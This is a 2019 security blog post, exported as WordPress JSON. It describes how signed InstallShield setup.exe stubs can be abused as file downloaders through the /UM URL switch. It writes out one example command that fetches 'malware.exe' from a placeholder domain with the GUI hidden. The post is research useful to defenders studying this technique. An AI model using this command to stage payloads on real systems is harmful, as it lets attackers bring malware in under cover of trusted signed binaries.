{"id":6395,"date":"2019-06-02T16:01:38","date_gmt":"2019-06-02T16:01:38","guid":{"rendered":"http:\/\/www.hexacorn.com\/blog\/?p=6395"},"modified":"2019-06-02T16:01:39","modified_gmt":"2019-06-02T16:01:39","slug":"using-signed-installshield-installers-as-downloaders","status":"publish","type":"post","link":"https:\/\/www.hexacorn.com\/blog\/2019\/06\/02\/using-signed-installshield-installers-as-downloaders\/","title":{"rendered":"Using signed Installshield installers as downloaders"},"content":{"rendered":"\n<p>Most of modern InstallShield setup programs are wrappers for MSI. The task of launching the installation wizard is delegated to a setup.exe program that is present as a stub of the file. <\/p>\n\n\n\n<p>The stub accepts command line arguments shown below:<\/p>\n\n\n\n<ul><li>\/L language ID<\/li><li> \/S Hide intialization dialog.  <\/li><li> \/V parameters to MsiExec.exe<\/li><li> \/UA[url to InstMsiA.exe]<\/li><li> \/UW[url to InstMsiW.exe]<\/li><li> \/UM[url to msi package]<\/li><li> \/US[url to IsScript.msi]<\/li><\/ul>\n\n\n\n<p>Not all setup.exe I tested accept all these arguments, or perhaps I didn&#8217;t know how to properly use them. It&#8217;s actually a bit of a mess &#8212; <a href=\"https:\/\/www.itninja.com\/static\/090770319967727eb89b428d77dcac07.pdf\">this file [PDF warning]<\/a> lists many InstallShield command line arguments, and while it covers many versions of the program, many of these switches require a lot of trial and error + most won&#8217;t work. You can either try your luck, or better yet, reverse particular version of Installshield stub. In any case&#8230; sometimes we may get lucky &#8211; as I was with \/UM[URL] command line argument that I successfully tested on an older Installshield installer for ACDSEE software (from 2010).<\/p>\n\n\n\n<p>Running the following command will make the setup program download a file of your choice and place it into a %TEMP%\\_is-&lt;random&gt; folder on your system:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>setup.exe \/umhxxp:\/\/www.[somedomain].com\/malware.exe \/s <\/p><\/blockquote>\n\n\n\n<p>The command uses &#8220;\/S&#8221; to hide most of the GUI. Most, because once your file is downloaded, and setup recognizes that it&#8217;s not a valid MSI, you will see this dialog box:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"366\" height=\"193\" src=\"https:\/\/www.hexacorn.com\/blog\/wp-content\/uploads\/2019\/06\/installshield_1.png\" alt=\"\" class=\"wp-image-6396\" srcset=\"https:\/\/www.hexacorn.com\/blog\/wp-content\/uploads\/2019\/06\/installshield_1.png 366w, https:\/\/www.hexacorn.com\/blog\/wp-content\/uploads\/2019\/06\/installshield_1-300x158.png 300w\" sizes=\"(max-width: 366px) 100vw, 366px\" \/><\/figure>\n\n\n\n<p>Its presence has its pros and cons. It&#8217;s good, because it pauses the setup program for a moment. Bad, because there is a GUI visible. When this dialog pops up, your .exe is already in the %TEMP%\\_is-&lt;random> directory and you can fetch it. Once you click OK, all files in that temporary folder will be deleted.<\/p>\n\n\n\n<p>Not the most elegant solution for downloading files, but well&#8230; it&#8217;s just yet another option.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Most of modern InstallShield setup programs are wrappers for MSI. The task of launching the installation wizard is delegated to a setup.exe program that is present as a stub of the file. The stub accepts command line arguments shown below: &hellip; <a href=\"https:\/\/www.hexacorn.com\/blog\/2019\/06\/02\/using-signed-installshield-installers-as-downloaders\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[13,52,56,64,59],"tags":[],"_links":{"self":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/6395"}],"collection":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/comments?post=6395"}],"version-history":[{"count":8,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/6395\/revisions"}],"predecessor-version":[{"id":6411,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/6395\/revisions\/6411"}],"wp:attachment":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/media?parent=6395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/categories?post=6395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/tags?post=6395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}